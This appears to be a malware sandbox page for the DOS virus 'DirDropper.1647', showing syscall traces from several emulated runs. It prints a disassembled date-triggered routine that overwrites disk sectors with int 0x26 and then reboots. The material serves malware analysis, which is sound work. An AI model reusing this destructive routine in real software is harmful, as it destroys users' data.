Sample viewer

vx.netlux.org/Virus.DOS.DirDropper.1647

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:56:26.742245638Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 2
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-17T22:56:26.745205781Z 26 PC: 12ea6 | Set disk transfer address
2018-12-17T22:56:26.747120458Z 78 PC: 13045 | Find first file
2018-12-17T22:56:26.751477048Z 78 PC: 12f2f | Find first file
2018-12-17T22:56:26.755812552Z 26 PC: 12fa3 | Set disk transfer address
2018-12-17T22:56:26.75680331Z 25 PC: 12fb1 | Get default drive
2018-12-17T22:56:26.757639076Z 28 PC: 12fbc | Get allocation info for specified drive

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12227,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:13.463622506Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 2
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-25T12:32:13.466167136Z 26 PC: 12ea6 | Set disk transfer address
2018-12-25T12:32:13.467776241Z 78 PC: 13045 | Find first file
2018-12-25T12:32:13.471871832Z 78 PC: 12f2f | Find first file
2018-12-25T12:32:13.476460621Z 26 PC: 12fa3 | Set disk transfer address
2018-12-25T12:32:13.477433852Z 25 PC: 12fb1 | Get default drive
2018-12-25T12:32:13.478407098Z 28 PC: 12fbc | Get allocation info for specified drive

{"DateBased":true,"Day":1,"Month":2,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12227,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:14.167402631Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 2
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-25T12:32:14.171425953Z 25 PC: 12e73 | Get default drive
2018-12-25T12:32:16.330897037Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T12:32:16.332425125Z 72 PC: 8f1bd | Allocate memory
2018-12-25T12:32:16.335532122Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T12:32:16.33894125Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T12:32:16.349855952Z 66 PC: 91f95 | Move file pointer
2018-12-25T12:32:16.351393461Z 62 PC: 91fc1 | Close file
2018-12-25T12:32:16.353737602Z 75 PC: 91fe0 | Execute program
2018-12-25T12:32:16.369554025Z 98 PC: 916f1 | Get current PSP
2018-12-25T12:32:16.370584489Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-25T12:32:16.374980128Z 48 PC: c609 | Get DOS version
2018-12-25T12:32:16.377916961Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T12:32:16.380095165Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T12:32:16.382407953Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T12:32:16.38552698Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-25T12:32:16.38897563Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-25T12:32:16.394152152Z 61 PC: 91f88 | Open file (See above)
2018-12-25T12:32:16.404645282Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T12:32:16.405954712Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T12:32:16.408283971Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T12:32:16.42834948Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T12:32:16.431901218Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T12:32:16.434482016Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:32:16.435871892Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:32:16.437338702Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:32:16.439284374Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:32:16.440533779Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T12:32:16.448076226Z 62 PC: 8f8eb | Close file
2018-12-25T12:32:16.450300915Z 62 PC: 8f8f2 | Close file
2018-12-25T12:32:16.451902439Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.453200644Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.455256468Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.457359468Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.458670921Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.460593879Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.462204925Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.463887465Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.466468316Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.46822629Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.469860943Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.471663703Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.473687969Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.475090426Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.476690528Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.478626235Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.480395784Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.482179881Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.485271084Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.486850007Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.488279034Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.499236705Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.500581706Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.501840551Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.503539041Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.504814596Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.506100228Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.507796984Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.509160607Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:32:16.510768784Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T12:32:16.516356952Z 62 PC: 8f90e | Close file
2018-12-25T12:32:16.518306053Z 69 PC: 8f915 | Duplicate handle
2018-12-25T12:32:16.520045543Z 69 PC: 8f919 | Duplicate handle
2018-12-25T12:32:16.521987539Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T12:32:16.526717282Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T12:32:16.528192829Z 61 PC: 9387b | Open file (See above)
2018-12-25T12:32:16.533315948Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T12:32:16.535092913Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T12:32:16.53652695Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T12:32:16.538650661Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T12:32:16.540114559Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T12:32:16.541532741Z 72 PC: 8fa02 | Allocate memory
2018-12-25T12:32:16.54375701Z 72 PC: 8fa06 | Allocate memory
2018-12-25T12:32:16.545438689Z 73 PC: 8fa11 | Release memory
2018-12-25T12:32:16.547143961Z 73 PC: 8efea | Release memory
2018-12-25T12:32:16.548737449Z 74 PC: 8f003 | Reallocate memory
2018-12-25T12:32:16.550450099Z 72 PC: 8f054 | Allocate memory
2018-12-25T12:32:16.552826106Z 72 PC: 8f058 | Allocate memory
2018-12-25T12:32:16.57055605Z 73 PC: 8f060 | Release memory
2018-12-25T12:32:16.571722619Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T12:32:16.580904596Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:32:16.586825357Z 66 PC: 8f0ad | Move file pointer
2018-12-25T12:32:16.588064255Z 62 PC: 8f0d1 | Close file
2018-12-25T12:32:16.589671038Z 75 PC: 8f0f2 | Execute program
2018-12-25T12:32:16.611570586Z 80 PC: 12be9 | Set current PSP
2018-12-25T12:32:16.61223779Z 48 PC: 12bee | Get DOS version
2018-12-25T12:32:16.613238945Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T12:32:16.615248155Z 101 PC: 12c74 | Get extended country info
2018-12-25T12:32:16.61617503Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T12:32:16.617104696Z 74 PC: 12cdc | Reallocate memory
2018-12-25T12:32:16.618527554Z 72 PC: 1355d | Allocate memory
2018-12-25T12:32:16.620407124Z 25 PC: 13596 | Get default drive
2018-12-25T12:32:16.621777124Z 71 PC: 135ad | Get current directory
2018-12-25T12:32:16.624836959Z 59 PC: 135ba | Change current directory
2018-12-25T12:32:16.629799976Z 59 PC: 135c8 | Change current directory
2018-12-25T12:32:16.635918379Z 59 PC: 135d3 | Change current directory
2018-12-25T12:32:16.644999544Z 25 PC: 12d13 | Get default drive
2018-12-25T12:32:16.646222672Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T12:32:16.647502012Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T12:32:16.649488665Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:32:16.651759311Z 80 PC: 1301d | Set current PSP
2018-12-25T12:32:16.652744391Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T12:32:16.654956319Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:32:16.656024941Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:32:16.657415969Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T12:32:16.660216455Z 72 PC: 130ec | Allocate memory
2018-12-25T12:32:16.662063615Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T12:32:16.668086326Z 62 PC: 131ba | Close file
2018-12-25T12:32:16.67109858Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T12:32:16.672142599Z 74 PC: 1197c | Reallocate memory
2018-12-25T12:32:16.673657469Z 72 PC: 11991 | Allocate memory
2018-12-25T12:32:16.675692238Z 73 PC: 119b2 | Release memory
2018-12-25T12:32:16.676862006Z 72 PC: 119bd | Allocate memory
2018-12-25T12:32:16.678185857Z 73 PC: 119df | Release memory
2018-12-25T12:32:16.680107167Z 72 PC: 119f5 | Allocate memory
2018-12-25T12:32:16.681875696Z 72 PC: 119fd | Allocate memory